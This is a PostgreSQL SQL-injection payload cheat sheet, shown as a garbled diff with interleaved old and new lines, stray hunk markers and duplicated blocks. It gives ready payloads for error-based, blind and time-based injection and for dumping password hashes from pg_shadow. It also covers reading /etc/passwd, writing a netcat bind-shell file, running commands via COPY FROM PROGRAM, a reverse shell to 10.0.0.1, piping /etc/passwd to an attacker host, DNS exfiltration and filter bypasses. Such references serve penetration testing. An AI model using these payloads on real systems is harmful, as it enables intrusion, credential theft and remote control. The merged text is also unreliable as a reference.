SELECT getpgusername(); SELECT getpgusername();
``` ```
## PostgreSQL List Users
```sql ## PostgreSQL Privileges
SELECT usename FROM pg_user
```
## PostgreSQL List Password Hashes ### PostgreSQL List Privileges
```sql Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`.
SELECT usename, passwd FROM pg_shadow
```
## PostgreSQL List Database Administrator Accounts
```sql
SELECT usename FROM pg_user WHERE usesuper IS TRUE
```
## PostgreSQL List Privileges
Gather information from the [`pg_user`](https://www.postgresql.org/docs/current/view-pg-user.html) table:
```sql
SELECT * FROM pg_user
```
Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`:
```sql ```sql
SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema'); SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');
``` ```
## PostgreSQL Check if Current User is Superuser ### PostgreSQL Superuser Role
```sql ```sql
SHOW is_superuser; SHOW is_superuser;
@ -93,29 +72,18 @@ SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
``` ```
## PostgreSQL Database Name ## PostgreSQL Enumeration
```sql | SQL Query | Description |
SELECT current_database() | --------------------------------------- | -------------- |
``` | `SELECT current_database()` | Database Name |
| `SELECT datname FROM pg_database` | List Databases |
| `SELECT table_name FROM information_schema.tables` | List Tables |
| `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` | List Columns |
| `SELECT usename FROM pg_user` | List PostgreSQL Users |
| `SELECT usename, passwd FROM pg_shadow` | List Password Hashes |
| `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | List Database Administrator Accounts |
## PostgreSQL List Database
```sql
SELECT datname FROM pg_database
```
## PostgreSQL List Tables
```sql
SELECT table_name FROM information_schema.tables
```
## PostgreSQL List Columns
```sql
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
```
## PostgreSQL Error Based ## PostgreSQL Error Based
@ -124,14 +92,16 @@ SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
```
```sql
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
``` ```
## PostgreSQL XML Helpers ### PostgreSQL XML Helpers
```sql ```sql
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
@ -150,8 +120,8 @@ Note, with the above queries, the output needs to be assembled in memory. For la
## PostgreSQL Blind ## PostgreSQL Blind
```sql ```sql
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK ' and substr(version(),1,10) = 'PostgreSQL' and '1 -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO ' and substr(version(),1,10) = 'PostgreXXX' and '1 -- FALSE
``` ```
## PostgreSQL Time Based ## PostgreSQL Time Based
@ -183,77 +153,108 @@ select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1 select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
``` ```
```sql ```sql
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
``` ```
## PostgreSQL Out of Band
Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.
```sql
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```
## PostgreSQL Stacked Query ## PostgreSQL Stacked Query
Use a semi-colon "`;`" to add another query Use a semi-colon "`;`" to add another query
```sql ```sql
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));-- SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--
``` ```
## PostgreSQL File Read ## PostgreSQL File Manipulation
```sql ### PostgreSQL File Read
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
```
NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
```sql * Using `pg_read_file`, `pg_ls_dir`
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```
```sql ```sql
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID select pg_ls_dir('./');
SELECT lo_get(16420); -- use the OID returned from the above select pg_read_file('PG_VERSION', 0, 200);
SELECT * from pg_largeobject; -- or just get all the large objects and their data ```
```
## PostgreSQL File Write * Using `COPY`
```sql ```sql
CREATE TABLE pentestlab (t TEXT); CREATE TABLE temp(t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); COPY temp FROM '/etc/passwd';
SELECT * FROM pentestlab; SELECT * FROM temp limit 1 offset 0;
COPY pentestlab(t) TO '/tmp/pentestlab'; ```
```
Or as one line: * Using `lo_import`
```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; ```sql
``` SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
```
### PostgreSQL File Write
* Using `COPY`
```sql
CREATE TABLE nc (t TEXT);
INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM nc;
COPY nc(t) TO '/tmp/nc.sh';
```
* Using `COPY` (one-line)
```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```
* Using `lo_from_bytea`, `lo_put` and `lo_export`
```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
```
```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
```
## PostgreSQL Command Execution ## PostgreSQL Command Execution
### CVE-20199193 ### Using COPY TO/FROM PROGRAM
Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries. Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.
```SQL ```sql
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output ```
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results ```sql
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';
``` ```
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
### Using libc.so.6 ### Using libc.so.6
@ -262,22 +263,15 @@ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>'); SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
``` ```
### Bypass Filter
#### Quotes ### PostgreSQL WAF Bypass
Using CHR #### Alternative to Quotes
```sql | Payload | Technique |
SELECT CHR(65)||CHR(66)||CHR(67); | ------------------ | --------- |
``` | `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` |
| `SELECT $TAG$This` | Dollar-sign ( >= version 8 PostgreSQL) |
Using Dollar-signs ( >= version 8 PostgreSQL)
```sql
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
```
## References ## References